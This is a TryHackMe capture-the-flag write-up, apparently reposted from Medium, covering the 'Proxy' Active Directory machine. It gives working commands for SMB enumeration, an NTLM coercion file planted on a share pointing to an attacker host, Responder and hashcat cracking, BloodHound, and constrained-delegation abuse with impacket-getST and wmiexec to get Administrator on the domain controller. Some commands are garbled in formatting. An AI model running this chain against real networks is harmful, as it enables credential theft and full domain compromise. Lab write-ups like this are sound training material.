Fast Feed

Proxy — TryHackMe Active Directory Write-up

6 min read

Summary

By: Kavin Jindal (@Klevr) Check out the challenge: TryHackMe | Proxy In this write-up, I will give you a detailed walkthrough of ‘Proxy ’, which is an Active Directory based machine on TryHackMe where you have to gain Administrator access to the network’s domain controller. This machine includes NTLM hash capturing for a service account named svc.scanner which has Constrained Delegation permission to the domain controller. That permission is abused, and access is gained to the machine via the service ticket obtained by impersonating the Administrator. -0x01: Enumeration

  • The first step was to enumerate the open ports on the target via Nmap. nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 -oA nmap 10.49.142.113

Nmap 7.95 scan initiated Tue Jul 21 21:23:50 2026 as: /usr/lib/nmap/nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 -oA nmap 10.49.142.113

Nmap scan report for 10.49.142.113 Host is up (0.018s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-21 15:53:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |ssl-date: 2026-07-21T15:54:42+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=DC01.ctf.local | Not valid before: 2026-05-19T02:27:27 |Not valid after: 2026-11-18T02:27:27 | rdp-ntlm-info: | Target_Name: CTF | NetBIOS_Domain_Name: CTF | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: ctf.local | DNS_Computer_Name: DC01.ctf.local | DNS_Tree_Name: ctf.local | Product_Version: 10.0.17763 | System_Time: 2026-07-21T15:54:01+00:00 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: | Message signing enabled and required | smb2-time: | date: 2026-07-21T15:54:02 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done at Tue Jul 21 21:24:42 2026 — 1 IP address (1 host up) scanned in 52.64 seconds

  • The scan reveals that we have Kerberos and LDAP running on the target which confirms an Active Directory environment. We also have SMB running on ports 139 and 445.
  • The next immediate step was to enumerate SMB shares present on the target smbclient -L //10.49.142.113/
  • The IT-Shared share stood out of all. Enumerating it revealed the following files.
  • The IT-Credentials-Backup.txt file revealed the following information about automated processes running on the target periodically.
  • Here svc.scanner andsvc.mysql were two services running on the target. Thesvc.scanner process in particular was running every two minutes, looking for new files added to the share. - The IT-Credentials.txt file revealed the following credentials.
  • Even though the credentials were stated as defunct, I took a note of them just in case they could be leveraged at a later stage.
  • Finally the IT-Portal.html was a static webpage that looked like a dashboard as follows.
  • Next, I used impacket-lookupsid script to enumerate security identifiers (SIDs) on the target to gain information on the users in the network. impacket-lookupsid ’ ’:”@10.49.142.113 | awk ‘{print $2}’ | cut -d ” -f2 users.txt
  • This is the standard command I use every time, accompanied by text manipulation to write all the available usernames to a text file for further enumeration.
  • Here, the following user accounts seemed interesting.
  • My obvious instinct was to attempt AS-REP roasting, but pre-authentication was found to be disabled on Kerberos. -0x02: NTLM Hash Capturing
  • I went back a few steps and took a look at the IT-Onboarding-Checklist.txt file. It was clearly stated thatsvc.scanner ran every two minutes on the machine and processed new files added to the share. I wondered if I could plant a reverse shell in PowerShell and gain access but it couldn’t work like that. - For this particular step I had to refer to other sources, and it turns out that the NTLM hash for svc.scanner service could be captured via a File Coercion attack. - I used a basic PowerShell command as follows, and planted that script in the IT-Shared share. Test-Path \192.168.147.203\icons\icon.ico
  • The above payload pointed to my attacker machine to a non-existent icon file icon.ico . This is a basic example of how File Coercion attacks work. Windows assumes that every network path (like the one here) requires authentication due to which it sends the NTLM hash to the respective machine. - I turned on Responder and waited for svc.scanner to process my file. responder -I tun0
  • I saved the hash and cracked it using Hashcat. hashcat -m 5600 /usr/share/wordlists/rockyou.txt hash.txt 0x02: Bloodhound and Constrained Delegation
  • After I obtained the credentials for svc.scanner , I went to Bloodhound to further enumerate the network and find any potential exploit paths. bloodhound-python -d ctf.local -u svc.scanner -p [REDACTED] —zip -c ALL -ns 10.49.169.215
  • I loaded the archive into Bloodhound and found the following. svc.scanner had theAllowedtodelegate permission on the Domain controller of the network. I did not have prior knowledge of this topic previously and referred to many online resources to learn about constrained delegation in Active Directory environments. Get Avyukt Security’s stories in your inbox Join Medium for free to get updates from this writer.
  • I used impacket-findDelegation just for the sake of experimentation to find the delegation of the service account to available targets.
  • As it’s visible, svc.scanner had Constrained Delegation oncifs/DC01.ctf.local
  • This meant that I could get a Service Ticket by impersonating Administrator.
  • I deployed impacket-getST for the same and obtained the ticket. impacket-getST -spn cifs/DC01.ctf.local -dc-ip 10.48.181.127 —impersonate Administrator ctf.local/svc.scanner:[REDACTED_PASSWORD]
  • The ticket was saved on the machine.
  • Next, I considered using wmiexec to authenticate to the target machine using the ticket I had just obtained, but before that it was important to point the ticket to theKRB5CCNAME environment variable.
  • Why is it necessary? When authenticating using a ticket, wmiexec only fetches it from theKRB5CCNAME environment variable hence, it is important to point our downloaded ticket in the.ccache file to the variable as well. - Next, I authenticated to the target. impacket-wmiexec -k -no-pass ctf.local/Administrator@DC01.ctf.local
  • I had successfully gained access to the machine as the Administrator. The next objective was to look for the flag, which was found in the admin’s Desktop folder. That was it for this machine. Solving this room was a great learning experience. I hope you found this write-up worth your time. Make sure to follow Avyukt Security for more quality cybersecurity content. Happy Hacking!

By Avyukt Security

Original Article

Backlinks